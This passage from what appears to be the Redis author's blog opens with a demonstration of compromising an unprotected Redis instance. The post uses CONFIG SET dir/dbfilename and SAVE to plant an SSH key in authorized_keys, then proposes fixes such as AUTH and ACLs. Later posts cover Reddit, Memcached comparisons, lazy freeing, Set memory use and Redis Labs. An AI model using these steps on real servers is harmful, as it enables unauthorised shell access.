write RDB Redis files at random paths, that is a security issue that may easily lead to the ability to run untrusted code as the same user as Redis is running”. So my experiment was the following: I’ll run a Redis instance in my Macbook Air, without touching the computer configuration compared to what I’ve currently. Now from another host, my goal is to compromise my laptop. So, to start let’s check if I can access the instance, which is a prerequisite: $ telnet 192.168.1.11 6379 Trying 192.168.1.11... Connected to 192.168.1.11. Escape character is '^]'. echo "Hey no AUTH required!" $21 Hey no AUTH required! quit +OK Connection closed by foreign host. Works, and no AUTH required. Redis is unprotected without a password set up, and so forth. The simplest thing you can do in such a case, is to write random files. Guess what? my Macbook Air happens to run an SSH server. What about trying to write something into ~/ssh/authorized_keys in order to gain access? Let’s start generating a new SSH key: $ ssh-keygen -t rsa -C "crack@redis.io" Generating public/private rsa key pair. Enter file in which to save the key (/home/antirez/.ssh/id_rsa): ./id_rsa Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in ./id_rsa. Your public key has been saved in ./id_rsa.pub. The key fingerprint is: f0:a1:52:e9:0d:5f:e4:d9:35:33:73:43:b4:c8:b9:27 crack@redis.io The key's randomart image is: +--[ RSA 2048]----+ | . O+.| | . o o..o*o| | = . + .+ . | | o B o . | | . o S E . | | . o | | | | | | | +-----------------+ Now I’ve a key. My goal is to put it into the Redis server memory, and later to transfer it into a file, in a way that the resulting authorized_keys file is still a valid one. Using the RDB format to do this has the problem that the output will be binary and may in theory also compress strings. But well, maybe this is not a problem. To start let’s pad the public SSH key I generated with newlines before and after the content: $ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt Now foo.txt is just our public key but with newlines. We can write this string inside the memory of Redis using redis-cli: ~~~~~~~~~~~~~~~~~~~ NOTE: The following steps were altered in trivial ways to avoid that script kiddies cut & paste the attack, because from the moment this attack was published several Redis instances were compromised around the globe. ~~~~~~~~~~~~~~~~~~~ $ redis-cli -h 192.168.1.11 192.168.1.11:6379> config set dbfilename "backup.rdb" OK 192.168.1.11:6379> save OK (Ctrl+C) $ redis-cli -h 192.168.1.11 echo flushall $ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit Looks good. How to dump our memory content into the authorized_keys file? That’s kinda trivial. $ redis-cli -h 192.168.1.11 192.168.1.11:6379> config set dir /Users/antirez/.ssh/ OK 192.168.1.11:6379> config get dir 1) "dir" 2) "/Users/antirez/.ssh" 192.168.1.11:6379> config set dbfilename "authorized.keys" OK 192.168.1.11:6379> save OK At this point the target authorized keys file should be full of garbage, but should also include our public key. The string does not have simple patterns so it’s unlikely that it was compressed inside the RDB file. Will ssh be so naive to parse a totally corrupted file without issues, and accept the only sane entry inside? $ ssh -i id_rsa antirez@192.168.1.11 Enter passphrase for key 'id_rsa': Last login: Mon Nov 2 15:58:43 2015 from 192.168.1.10 ~ ➤ hostname Salvatores-MacBook-Air.local Yes. I successfully gained access as the Redis user, with a proper shell, in like five seconds. Courtesy of a Redis instance unprotected being, basically, an on-demand-write-this-file server, and in this case, by ssh not being conservative enough to deny access to a file which is all composed of corrupted keys but for one single entry. However ssh is not the problem here, once you can write files, even with binary garbage inside, it’s a matter of time and you’ll gain access to the system in one way or the other. How to fix this crap? === We say Redis is insecure if exposed, and the security model of Redis is to be accessed only by authorized and trusted clients. But this is unfortunately not enough. Users will still run it unprotected, and even worse, there is a tension between making Redis more secure *against* deployment errors, and making Redis easy to use for people just using it for development or inside secure environments where limits are not needed. Let’s make an example. Newer versions of Redis ship with the example redis.conf defaulting to “bind 127.0.0.1”. If you run the server without arguments, it will still bind all interfaces, since I don’t want to annoy users which are likely running Redis for development. To have to reconfigure an example server just to allow connections from other hosts is kinda a big price to pay, to win just a little bit of security for people that don’t care. However the example redis.conf that many users use as a template for their configuration, defaults to binding the localhost interface. Hopefully less deployments errors will be made. However this measures are not very effective, because unfortunately what most security unaware users will do after realizing that binding 127.0.0.1 is preventing them from connecting clients from the outside, is to just drop the bind line and restart. And we are back to the insecure configuration. Basically the problem is finding a compromise between the following three things: 1. Making Redis accessible without annoyances for people that know what they do. 2. Making Redis less insecure for people that don’t know what they do. 3. My bias towards “1” instead of “2” because RTFM. Users ACLs to mitigate the problem === One way to add redundancy to the “isolation” concept of Redis from the outside world is to use the AUTH command. It’s very simple, you configure Redis in order to require a password, and clients authenticate via the AUTH command by using the configured password. The mechanism is trivial: passwords are not hashed, and are stated in cleartext inside the configuration file and inside the application, so it’s like a shared secret. While this is not resistant against people sniffing your TCP connections or compromising your application servers, it’s an effective layer of security against the obvious mistake of leaving unprotected Redis instances on the internet. A few notes about AUTH: 1. You can use Redis as an oracle in order to test many passwords per second, but the password does not need to be stored inside a human memory, just inside the Redis config file and client configurations, so pick a very large one, and make it impossible to brute force. 2. AUTH is sent when the connection is created, and most sane applications have persistent connections, so it is a very small cost to pay. It’s also an extremely fast command to execute, like GET or SET, disk is not touched nor other external system. 3. It’s a good layer of protection even for well sandboxed environments. For an error an instance may end exposed, if not to the internet, at least to clients that should not be able to talk with it. Maybe evolving AUTH is the right path in order to gain more security, so some time ago I published a proposal to add “real users” in Redis: https://github.com/redis/redis-rcp/blob/master/RCP1.md This proposal basically adds users with ACLs. It’s very similar to AUTH in the way it works and in the speed of execution, but different users have different capabilities. For example normal users are not able to access administrative commands by default, so no “CONFIG SET dir” for them, and no issues like the exploit above. The default user can yet run the normal commands (so the patches people sent me about Lua sandboxing, that I applied, are very useful indeed), and an admin user must be configured in order to use administration commands. However what we could do to make Redis more user friendly is to always have an “admin” user with empty password which is accepted if the connection comes from the loopback interface (but it should be possible to disable this feature). ACLs, while not perfect, have certain advantages. When Redis is exposed to the internet in the proper way, proxied via SSL, to have an additional layer of access control is very useful. Even when no SSL is used since we have just local clients, to protect with more fine grained control what clients can do has several advantages. For instance it can protect against programming or administration errors: FLUSHALL and FLUSHDB could be not allowed to normal users, the client for a Redis monitoring service would use an user only allowing a few selected commands, and so forth. Users that don’t care about protecting their instances will stil have a database which is accessible from the outside, but without admin commands available, which still makes things insecure from the point of view of the data contained inside the database, but more secure from the point of view of the system running the Redis instance. Basically it is impossible to reach the goal of making Redis user friendly by default and resistant against big security mistakes of users spinning an instance bound to a public IP address. However fixing bugs in the API that may allow to execute untrusted code with the same privileges of the Redis process, shipping a more conservative default configuration, and implementing multiple users with ACLs, could improve the current state of Redis security without impacting much the experience of normal Redis users that know what they are doing. Moreover ACLs have the advantage of allowing application developers to create users that match the actual limits of specific clients in the context of the application logic, making mistakes less likely to create big issues. A drawback of even this simple layer of security is that it adds complexity, especially in the context of replication, Redis Sentinel, and other systems that must all be authentication aware in order to work well in this new context. However it’s probably an effort that must be incrementally done. Hacker News: https://news.ycombinator.com/item?id=10537852 Reddit: https://www.reddit.com/r/redis/comments/3rby8c/a_few_things_about_redis_security/ Comments

• Moving the Redis community on Reddit
  Oct 22, 2015

  I’m just back from the Redis Dev meeting 2015. We spent two incredible days talking about Redis internals in many different ways. However while I’m waiting to receive private notes from other attenders, in order to summarize in a blog post what happened and what were the most important ideas exposed during the meetings, I’m going to touch a different topic here. I took the non trivial decision to move the Redis mailing list, consisting of 6700 members, to Reddit. This looks like a crazy ideas probably in some way, and “to move” is probably not the right verb, since the ML will still exist. However it will only be used in order to receive announcements of new releases, critical informations like security related ones, and from time to time, links to very important discussions that are happening on Reddit. Why to move? We have a huge mailing list that served us for years at this point, and there is a decent amount of traffic going on. People go there to get some help, to provide new ideas, and so forth. However while we have some traffic the Redis mailing list is IMHO far from the “vital” thing it should be, considering the number of users using Redis currently. For most parts we see the same questions again and again, and is hard to understand if a reply is really worthwhile or not. Moreover an important topic sometimes slides away because new topics arrive, sometimes without getting much attention at all. It’s like if the ML is just a far echo of the Redis popularity, not the center of its community. Twitter, while being a tool completely unsuitable for becoming the center of a community that needs to discuss things at length, is completely different, and gives me a feedback about how the Redis ML is in some way broken. It’s a lot more vital and it is possible to get quality feedbacks, but everything is limited to 140 characters in flat threads where eventually it is kinda impossible to continue any sane discussion. However Twitter and other signals I get, are the proof that people *moved away* from emails. I bet an huge amount of users subscribed to the ML just archive it into a label to read it never or seldom. So why Reddit instead? Because it’s the center of the most vital communities on the internet today. Because it’s centered on a voting system, so if an user asks for help, even if you don’t want to contribute, you can use the comment voting to tell the difference between a lame request and a great one, a poor reply and an outstanding one. Reddit also allows to vote the topics so that things which are important for the community will get more contributions. Has a side bar that can be used for FAQs and other important pointers, and has a ton of existing subscribers. Reddit also contains “gamification” elements that may be useful and funny. For example you can associate small sentences or images to your username in a given sub-reddit, in order to state, for example, if you use Redis for caching, as a store, for messaging or whatever. Your reply in a given context can be read more clearly if it is possible to understand what kind of Redis user you are. It is possible to write guidelines in the submission page, so that people realize what to provide before posting. For example we’ll have warnings telling you to post the INFO output of your master and slaves if you want us to investigate your replication issues. So, what happens now? I asked Reddit admins to get access to /r/redis, which is a sub created years ago but not actively administered apparently. When I receive the admin privileges I’ll setup the sub in order to only accent comment submissions (not direct links, you’ll be still able to post a link if you comment it). At this point the Redis ML will be modified in order to moderate each single message, we’ll advice people posting help questions to go on Reddit. The Redis.io community page will be updated to instruct new users about Reddit being our primary discussion forum. Why not using Discourse or Stack Overflow, you’ll ask? SO is great but is not suitable for general conversation, and we need this a lot. People will continue to post Redis questions on SO and we’ll continue to reply, of course. Discourse is more an evolution of the mailing list we are using, but is not technically speaking a “social site”, we want to go where communities are already and where voting things is the main idea, so that as the Redis community grow we find a way to filter the most interesting contribs and highlight them. Maybe the experiment will fail and we’ll return back to the mailing list, or we’ll try Discourse, but I think a too important change in the way programmers communicate is happening in order to ignore it. I must try. I think email lost in some way, it is no longer something scalable. For me it lost several years ago, I rarely reply to emails at all, since they are a tool that does not take into account people inability to scale reading too many messages. I hope we’ll have a great time on Reddit. See you there! P.s. if you are a Reddit admin reading this, please evaluate my request to take ownership of /r/redis here: https://www.reddit.com/r/redditrequest/comments/3pnwrx/requesting_rredis/ Comments

• Clarifications about Redis and Memcached
  Sep 26, 2015

  If you know me, you know I’m not the kind of guy that considers competing products a bad thing. I actually love the users to have choices, so I rarely do anything like comparing Redis with other technologies. However it is also true that in order to pick the right solution users must be correctly informed. This post was triggered by reading a blog post published by Mike Perham, that you may know as the author of a popular library called Sidekiq, that happens to use Redis as backend. So I would not consider Mike a person which is “against” Redis at all. Yet in his blog post that you can find at the URL http://www.mikeperham.com/2015/09/24/storing-data-with-redis/ he states that, for caching, “you should probably use Memcached instead [of Redis]”. So Mike simply really believes Redis is not good for caching, and he arguments his thesis in this way: 1) Memcached is designed for caching. 2) It performs no disk I/O at all. 3) It is multi threaded and can handle 100,000s of requests by scaling multi core. I’ll address the above statements, and later will provide further informations which are not captured by the above sentences and which are in my opinion more relevant to most caching users and use cases. Memcached is designed for caching: I’ll skip this since it is not an argument. I can say “Redis is designed for caching”. So in this regard they are exactly the same, let’s move to the next thing. It performs no disk I/O at all: In Redis you can just disable disk I/O at all if you want, providing you with a purely in-memory experience. Except, if you really need it, you can persist the database only when you are going to reboot, for example with “SHUTDOWN SAVE”. The bottom line here is that Redis persistence is an added value even when you don’t use it at all. It is multi threaded: This is true, and in my goals there is to make Redis I/O threaded (like in memcached, where the data access itself is not threaded, basically). However Redis, especially using pipelining, can serve an impressive amount of requests per second per thread (half a million is a common figure with very intensive pipelining. Without pipelining it is around 100,000 ops/sec). In the vanilla caching scenario where each Redis instance is the same, works as a master, disk ops are disabled, and sharding is up to the client like in the “memcached sharding model”, to spin multiple Redis processes per system is not terrible. Once you do this what you get is a shared-nothing multi threaded setup so what counts is the amount of operations you can serve per single thread. Last time I checked Redis was at least as fast as memcached per each thread. Implementations change over time so the edge today may be of the one or the other, but I bet they provide near performances since they both tend to maximize the resources they can use. Memcached multi threading is still an advantage since it makes things simpler to use and administer, but I think it is not a crucial part. There is more. Mike talks of operations per second without citing the *quality* of operations. The thing is in systems like Redis and Memcached the cost of command dispatching and I/O is dominating compared to actually touching the in-memory data structures. So basically in Redis executing a simple GET, a SET, or a complex operation like a ZRANK operation is about the same cost. But what you can achieve with a complex operation is a lot more work from the point of view of the application level. Maybe instead of fetching five cached values you can just send a small Lua script. So the actual “scalability” of the two systems have many dimensions, and what you can achieve is one of those. Of Mike’s concerns the only valid I can see is multi threading which, if we consider Redis in its special case of memcached replacement, may be addressed executing multiple processes, or simply by executing just one since it will be very very hard to saturate one thread doing memcached alike operations. The real differences — Now it’s time to talk about the *real* differences between the two systems. * Memory efficiency This is where Memcached used to be better than Redis. In a system designed to represent a plain string to string dictionary, it is simpler to make better use of memory. This difference is not dramatic and it’s like 5 years I don’t check it, but it used to be noticeable. However if we consider memory efficiency of a long running process, things are a bit different. Read the next section. But again to really evaluate memory efficiency, you should put into the bag that specially encoded small aggregated values in Redis are very memory efficient. For example sets of small integers are represented internally as an array of 8, 16, 32 or 64 bits integers, and are accessed in logarithmic time when you want to check the existence of some since they are ordered, so binary search can be used. The same happens when you use hashes to represent objects instead of resorting to JSON. So the real memory efficiency must be evaluated with an use case at hand. * Redis LRU vs Slab allocator Memcached is not perfect from the point of view of memory utilization. If you happen to have an application that dramatically change the size of the cached values over time, you are likely to incur severe fragmentation and the only cure is a reboot. Redis is a lot more deterministic from this point of view. Moreover Redis LRU was lately improved a lot, and is now a very good approximation of real LRU. More info can be found here: http://redis.io/topics/lru-cache. If I understand correctly, memcached LRU still expires according to its slab allocator so sometimes the behavior may be far from real LRU, but I would like to hear what experts have to say about this. If you want to test Redis LRU you now can using the redis-cli LRU testing mode available in recent versions of Redis. * Smart caching If you want to use Redis for caching, and use it ala-memcached, you are truly missing something. This is the biggest mistake in Mike’s blog post in my opinion. People are switching to Redis more and more because they discovered that they can represent their cached data in more useful ways. What to retain the latest N items of something? Use a capped list. Want to take a cached popularity index? Use a sorted set, and so forth. * Persistence and Replication If you need those, they are very important assets. For example using this model scaling a huge load of reads is very simple. The same about restarts with persistence, the ability to take cache snapshots over time, and so forth. But it’s totally fair to have usages where both features are totally irrelevant. What I want to say here is that there are “pure caching” use cases where persistence and replication are important. * Observability Redis is very very observable. It has detailed reporting about a ton of internal metrics, you can SCAN the dataset, observe the expiration of objects. Tune the LRU algorithm. Give names to clients and see them reported in CLIENT LIST. Use “MONITOR” to debug your application, and many other advanced things. I believe this to be an advantage. * Lua scripting I believe Lua scripting to be an impressive help in many caching use cases. For example if you have a cached JSON blob, with a Lua command you can extract a single field and return it to the client instead of transferring everything (you can do the same, conceptually, using Redis hashes directly to represent objects). Conclusions — Memcached is a great piece of software, I read the source code multiple times, it was a revolution in our industry, and you should check if for you is a better bet compared to Redis. However things must be evaluated for what they are, and in the end I was a bit annoyed to read Mike’s report and very similar reports over the years. So I decided to show you my point of view. If you find anything factually incorrect, ping me and I’ll update the blog post according with “EDIT” sections. Comments

• Lazy Redis is better Redis
  Sep 26, 2015

  Everybody knows Redis is single threaded. The best informed ones will tell you that, actually, Redis is *kinda* single threaded, since there are threads in order to perform certain slow operations on disk. So far threaded operations were so focused on I/O that our small library to perform asynchronous tasks on a different thread was called bio.c: Background I/O, basically. However some time ago I opened an issue where I promised a new Redis feature that many wanted, me included, called “lazy free”. The original issue is here: https://github.com/antirez/redis/issues/1748. The gist of the issue is that Redis DEL operations are normally blocking, so if you send Redis “DEL mykey” and your key happens to have 50 million objects, the server will block for seconds without serving anything in the meantime. Historically this was accepted mostly as a side effect of the Redis design, but is a limit in certain use cases. DEL is not the only blocking command, but is a special one, since usually we say: Redis is very fast as long as you use O(1) and O(log_N) commands. You are free to use O(N) commands but be aware that it’s not the case we optimized for, be prepared for latency spikes. This sounds reasonable, but at the same time, even objects created with fast operations need to be deleted. And in this case, Redis blocks. The first attempt — In a single-threaded server the easy way to make operations non-blocking is to do things incrementally instead of stopping the world. So if there is to free a 1 million allocations, instead of blocking everything in a for() loop, we can free 1000 elements each millisecond, for example. The CPU time used is the same, or a bit more, since there is more logic, but the latency from the point of view of the user is ways better. Maybe those cycles to free 1000 elements per millisecond were not even used. Avoiding to block for seconds is the key here. This is how many things inside Redis work: LRU eviction and keys expires are two obvious examples, but there are more, like incremental rehashing of hash tables. So this was the first thing I tried: create a new timer function, and perform the eviction there. Objects were just queued into a linked list, to be reclaimed slowly and incrementally each time the timer function was called. This requires some trick to work well. For example objects implemented with hash tables were also reclaimed incrementally using the same mechanism used inside Redis SCAN command: taking a cursor inside the dictionary and iterating it to free element after element. This way, in each timer call, we don’t have to free a whole hash table. The cursor will tell us where we left when we re-enter the timer function. Adaptive is hard — Do you know what is the hard part with this? That this time, we are doing a very special task incrementally: we are freeing memory. So if while we free memory incrementally, the server memory raises very fast, we may end, for the sake of latency, to consume an *unbound* amount of memory. Which is very bad. Imagine this, for example: WHILE 1 SADD myset element1 element2 … many many many elements DEL myset END If deleting myset in the background is slower compared to our SADD call adding tons of elements per call, our memory usage will grow forever. However after a few experiments, I found a way to make it working very well. The timer function used two ideas in order to be adaptive to the memory pressure: 1. Check the memory tendency: it is raising or lowering? In order to adapt how aggressively to free. 2. Also adapt the timer frequency itself based on “1”, so that we don’t waste CPU time when there is little to free, with continuous interruptions of the event loop. At the same time the timer could reach ~300 HZ when really needed. A small portion of code, from the now no longer existing function implementing this ideas: /* Compute the memory trend, biased towards thinking memory is raising * for a few calls every time previous and current memory raise. */ if (prev_mem mem_trend *= 0.9; /* Make it slowly forget. */ int mem_is_raising = mem_trend > .1; /* Free a few items. */ size_t workdone = lazyfreeStep(LAZYFREE_STEP_SLOW); /* Adjust this timer call frequency according to the current state. */ if (workdone) { if (timer_period == 1000) timer_period = 20; if (mem_is_raising && timer_period > 3) timer_period--; /* Raise call frequency. */ else if (!mem_is_raising && timer_period timer_period++; /* Lower call frequency. */ } else { timer_period = 1000; /* 1 HZ */ } It’s a good trick and it worked very well. But still it was kinda sad we have to do this operation in a single thread. There was a lot of logic to handle that well, and anyway when the lazy free cycle was very busy, operations per second were reduced to around 65% of the norm. Freeing objects in a different thread would be much simpler: freeing is almost always faster than adding new values in the dataset, if there is a thread which is busy doing only free operations. For sure there is some contention between the main thread calling the allocator and the lazy free thread doing the same, but Redis spends a fraction of its time on allocations, and much more time on I/O, command dispatching, cache misses, and so forth. However there was a big problem with implementing a threaded lazy free: Redis itself. The internal design was totally biased towards sharing objects around. After all they are reference counted right? So why don’t share as much as possible? We can save memory and time. A few examples: if you do SUNIONSTORE you end with shared objects in the target set. Similarly, client output buffers have lists of objects to send to the socket as reply, so during a call like SMEMBERS all the set members may end shared in the output buffer list. So sharing objects sounds so useful, lovely, wonderfully, greatly cool. But, hey, there is something more here. If after an SUNIONSTORE I re-load the database, the objects will be unshared, so the memory suddenly may jump to more than it was. Not great. Moreover what happens when we send replies to clients? We actually *glue together* objects into plain buffers when they are small, since otherwise doing many write() calls is not efficient! (free hint, writev() does not help). So we are mostly copying already. And in programming when something is not useful, but exists, it is likely a problem. And indeed each time you had to access a value, inside a key containing an aggregate data type, you had to traverse the following: key -> value_obj -> hash table -> robj -> sds_string So what about getting rid of “robj” structures entirely and converting aggregate values to be made just of hash tables (or skiplists) of SDS strings? (SDS is the library we use inside Redis for strings). There is a problem with that. Immagine a command like SADD myset myvalue. We can’t take client->argv[2], for example, and just reference it in the hash table implementing the set. We have to *duplicate* values sometimes and can’t reuse the ones already existing in the client argument vector, created when the command was parsed. However Redis performance is dominated by cache misses, so maybe we can compensate this with one indirection less? So I started to work to this new lazyfree branch, and tweeting about it on Twitter without any context so that everybody was thinking I was like desperate or crazy (a few eventually asked WTF this lazyfree thing was). So what I did? 1. Change client output buffers to use just dynamic strings instead of robj structures. Values are always copied when there is to create a reply. 2. Convert all the Redis data types to use SDS strings instead of shared robj structures. Sounds trivial? ~800 highly bug sensitive lines changed in the course of multiple weeks. But now all tests are passing. 3. Rewrite lazyfree to be threaded. The result is that Redis is now more memory efficient since there are no robj structures around in the implementation of the data structures (but they are used in the code paths where there is a lot of sharing going on, for example during the command dispatch and replication). Threaded lazy free works great and is faster than the incremental one to reclaim memory, even if the implementation of the incremental one is something I like a lot and was not so terrible even compared with the threaded one. But now, you can delete a huge key and the performance drop is negligible which is very useful. But, the most interesting thing is, Redis is now faster in all the operations I tested so far. Less indirection was a real winner here. It is faster even in unrelated benchmarks just because the client output buffers are now simpler and faster. In the end I deleted the incremental lazy freeing implementation from the branch, to retain only the threaded one. A note about the API — However what about the API? We still have a blocking DEL, the default is the same, since DEL in Redis means: reclaim memory now. I didn’t like the idea of changing that. So now you have a new command called UNLINK which more clearly states what is happening to the value. UNLINK is a smart command: it calculates the deallocation cost of an object, and if it is very small it will just do what DEL is supposed to do and free the object ASAP. Otherwise the object is sent to the background queue for processing. Otherwise the two commands are identical from the point of view of the keys space semantics. FLUSHALL / FLUSHDB non blocking variants were also implemented, but still not at API level, they’ll just take a LAZY option that if given will change the behavior. Not just lazy freeing — Now that values of aggregated data types are fully unshared, and client output buffers don’t contain shared objects as well, there is a lot to exploit. For example it is finally possible to implement threaded I/O in Redis, so that different clients are served by different threads. This means that we’ll have a global lock only when accessing the database, but the clients read/write syscalls and even the parsing of the command the client is sending, can happen in different threads. This is a design similar to memcached, and one I look forward to implement and test. Moreover it is now possible to implement certain slow operations on aggregated data types in another thread, in a way that only a few keys are “blocked” but all the other clients can continue. This can be achieved in a very similar way to what we do currently with blocking operations (see blocking.c), plus an hash table to store what keys are currently busy and with what client. So if a client asks for something like SMEMBERS it is possible to lock just the key, process the request creating the output buffer, and later release the key again. Only clients trying to access the same key will be blocked if the key is blocked. All this requires even more drastic internal changes, but the bottom line here is, we have a taboo less. We can compensate object copying times with less cache misses and a smaller memory footprint for aggregated data types, so we are now free to think in terms of a threaded Redis with a share-nothing design, which is the only design that could easily outperform our single threaded one. In the past a threaded Redis was always seen as a bad idea if thought as a set of mutexes in data structures and objects in order to implement concurrent access, but fortunately there are alternatives to get the best of both the worlds. And we have the option to still serve all the fast operations like we did in the past from the main thread, if we want. There should be only to gain performance-wise, at the cost of some contained complexity. ETA — I touched a lot of internals, this is not something which is going live tomorrow. So my plan is to call 3.2. what we have already into unstable, do the work to put it into Release Candidate state, and merge this branch into unstable targeting 3.4. However before merging, a very scrupulous check for speed regression should be performed. There is definitely more work to do. If you want to give it a try check the “lazyfree” branch on Github. Btw be aware that currently I’m working at it very actively so certain things may be at moments totally broken. Comments

• About Redis Sets memory efficiency
  Aug 28, 2015

  Yesterday Amplitude published an article about scaling analytics, in the context of using the Set data type. The blog post is here: https://amplitude.com/blog/2015/08/25/scaling-analytics-at-amplitude/ On Hacker News people asked why not using Redis instead: https://news.ycombinator.com/item?id=10118413 Amplitude developers have their set of reasons for not using Redis, and in general if you have a very specific problem and want to scale it in the best possible way, it makes sense to implement your vertical solution. I’m not adverse to reinventing the wheel, you want your very specific wheel sometimes, that a general purpose system may not be able to provide. Moreover creating your solution gives you control on what you did, boosts your creativity and your confidence in what you, as a developer can do, makes you able to debug whatever bug may arise in the future without external help. On the other hand of course creating system software from scratch is a very complex matter, requires constant developments if there is a wish to actively develop something, or means to have a stalled, non evolving piece of code if there is no team dedicated to it. If it is very vertical and specialized, likely the new system is capable of handling only a slice of the whole application problems, and yet you have to manage it as an additional component. Moreover if it was created by mostly one or a few programmers that later go away from the company, then fixing and evolving it is a very big problem: there isn’t sizable external community, nor there are the original developers. Basically writing things in house is not good or bad per se, it depends. Of course it is a matter of sensibility to understand when it’s worth to implement something from scratch and when it is not. Good developers know. From my point of view, regardless of what the Amplitude developers final solution was, it is interesting to read the process and why they are not using Redis. One of the concerns they raised is the overhead of the Set data type in Redis. I believe they are right to have such a concern, Redis Sets could be a lot more memory efficient, and weeks before reading the Amplitude article, I already started to explore ways to improve Sets memory efficiency. Today I want to share the plans with you. Dual representation of data types === In principle there where plain data structures, implemented more or less like an algorithm text book suggests: each node of the data structure is implemented dynamically allocating it. Allocation overhead, fat pointers, poor cache locality, are the big limits of this basic solution. Pieter Noordhuis and I later implemented specialized implementations of Redis abstract data types, to be very memory efficient, using single allocations to hold tens or a few hundreds of elements in a single allocation, sometimes with ad-hoc encodings to better use the space. Those versions of the data structures have O(N) time complexity for certain operations, or sometimes are limited to elements having a specific format (numbers) or sizes. So for example when you create an Hash, it starts represented in a memory efficient way which is good for a small number of elements. Later it gets converted to a real hash table if the number of elements reach a given threshold. This means that the memory efficiency of a Redis data type depends a lot on the number of elements it stores. The next step: Redis lists === At some point Twitter developers realized that there was no reason to go from an array of elements in a single allocation, representing items in a List, to an actual linked list which is a lot less memory efficient. There is something in the middle: a linked list of arrays representing a few items. Their implementation does not handle defragmentation when you remove something in the middle. Pieter and I in the past tried to understand if this was worth or not, but we had some feeling the defragmentation effort may not be compensated by the space savings, and a non defragmenting implementation of this idea was too fragile as a general purpose implementation of Redis lists: remove a few elements in the middle and your memory usage changes dramatically. Fortunately Matt Stancliff implemented the idea, including the defragmentation part, in an excellent way, and after some experimentation he showed that the new implementation was at least as good as the current implementation in Redis from the POV of performances, and much better from the point of view of memory usage. Moreover the memory efficiency of lists was no longer a function of the size of the list, and there was a single representation to deal with. Lists are kinda special since, to have linked lists of small arrays is really an optimal representation that may not map easily to other data types. It is possible to do something like that for Sets and other data types? Redis Sets === Sets memory usage is a bit special. They don’t have a specialized representation like all the other Redis data structures for sets composed of strings. So even a very small Set is going to consume a lot of memory. The special representation actually exists and is excellent but only works if the Set is composed of just numbers and is small: in such a case, we represent the Set with a special encoding called “intset”. It is an ordered linear array of integers, so that we can use binary search for testing existence of members. The array automatically changes size of each element depending on the greatest element in the set, so representing a set that has the strings 1, 20, 30, 15 is going to take just one byte per element plus some overhead, because the strings can be represented as numbers, and are inside the 8 bits range. However just add “a” to the set, and it will be converted into a full hash table: 127.0.0.1:6379> sadd myset 1 2 3 4 5 (integer) 5 127.0.0.1:6379> object encoding myset "intset" 127.0.0.1:6379> sadd myset a (integer) 1 127.0.0.1:6379> object encoding myset "hashtable" Sets of integer are a very used data type in Redis, so it is actually very useful to have that. But why we don’t have a special representation for small sets composed of non numerical strings, like we have for everything else? Well, the idea was that to have a data type with *three* representations was not going to be a good thing from the point of view of Redis internals. If you check t_zset.c o t_set.c you’ll see it require some care to deal with multiple representations. The more you want to abstract away dealing with N representations, the more you no longer have access to certain optimizations. Moreover the List story showed that it was possible to have a single representation with all the benefits. What you lose in terms of scanning the small aggregates containing N elements, you win back because of better cache locality, so it is possible to experiment with things that look like a tragic time/space tradeoff, but in reality are not. Specializing Redis hash tables === Big hashes, non numerical (or big) sets, and big sorted sets, are currently represented by hash tables. The implementation is the one inside the dict.c file. It is an hash table implemented in a pretty trivial way, using chaining to resolve collisions. The special things in this hash table implementation are just two: it never blocks in order to rehash, the rehashing process is handled incrementally. I did this in the first months of my VMware sponsorship, and it was a big win in terms of latency, of course. dict.c also implements a special primitive called “scanning” invented by Pieter Noordhuis, which is a cursor based iterator without overheads nor state, but with reasonable guarantees. Apart from that the Redis hash table expects keys and values to be pointers to something, and methods in order to compare and release keys, and to release values. This is how you want to design a general purpose hash table: pointers and methods (function pointers) to deal with values everywhere. However Redis data structures have an interesting property: every element in complex data structures are always, semantically strings. Hashes are maps between a string field and a string value. Sets are unordered sets of strings, and so forth. What happens if we implement an hash table which is designed in order to store just string keys and string values? Well… it looks like there is a simple way to make such an hash table very memory efficient. We could set the load factor to something greater than 1, for example 10, and if there are 5 buckets in the hash table, each bucket will contain on average 10 elements. So each bucket will be something like a linear array of key-value items, with prefixed lengths, in a very similar fashion to the encodings we use for small data types currently. Something like: 0: foobarhelloworld! 1: user:103811 … 2: … And so forth. The encoding could be specialized or just something existing like MessagePack. So here the extra work you do in each bucket is hopefully compensated by the better locality you get. To implement scanning and incremental rehashing on top of this data structure is viable as well, I did an initial analysis and while it is not possible to just copy the implementation in dict.c it is possible to find other ways to obtain the same effects. Note that, technically speaking, it is possible to store pointers in such an hash table: they will be just strings from the point of view of the hash table implementation, and it is possible to signal, in the hash table type, that those are pointers that need special care (for example free-value function pointers or alike). However only testing can say if it’s worth it or not. However there are problems that must be solved in order to use this for more than sets, or at least in order to use *only* such a representation, killing the small representations we have currently. For example, the current small representations have a very interesting property: they are already a serialization of themselves, without extra work required: we use this to store data into RDB files, to transfer data between nodes in Redis Cluster, and so forth. The specialized hash table should have the same property hopefully, or at least each single bucket should be already in a serialized format without any post-processing work required. If this is not the case, we could use this new dictionaries only in place of the general hash tables after the expansion, which is already a big win. Conclusions === This is an initial idea that requires some time for the design to be improved, validated by an implementation later, and in-depth load tested to guarantee there is no huge regression in certain legitimate workloads. If everything goes well we may end with a Redis server which is a lot more memory efficient than in the past. Such an hash table may also be used in order to store the main Redis dictionary in order to make each key overhead much smaller. Comments

• Thanks Pivotal, Hello Redis Labs
  Jul 15, 2015

  I consider myself very lucky for contributing to the open source. For me OSS software is not just a license: it means transparency in the development process, choices that are only taken in order to improve software from the point of view of the users, documentation that attempts to cover everything, and simple, understandable systems. The Redis community had the privilege of finding in Pivotal, and VMware before, a company that thinks at open source in the same way as we, the community of developers, think of it. Thanks to the Pivotal sponsorship Redis was able to grow, to reach in the latest years a diffusion which I never expected it to reach. However for the final user it always was just a "pure" OSS project: go to the community web site, grab a tar ball, read the free documentation, send a pull request, and watch the stream of commits as they happen live. In order to not stop this magic from happening, and in order to have enough free time to spend with my family, during these years I made the decision of not starting a Redis company. However I encouraged the creation of an economic ecosystem around Redis. There are multiple companies about Redis doing well at this point. There is one, Redis Labs, that made a remarkable steady work over the years in order to build a very strong company, with a team of developers hacking on the core of Redis, and a great set of products that provide Redis users with the commercial choices they need. At some point it started to look like a good idea for me to move to Redis Labs. Running a big cluster of Redis instances and having a set of developers on the Redis core is the key asset for Redis future. We can work together in order to improve Redis faster, with a constant feedback on what happens into the wild of actual users running Redis and the efforts required in order to operate it at scale. Redis Labs was willing to continue what VMware and Pivotal started. I'll be able to work as I do currently, spending all my time in the open 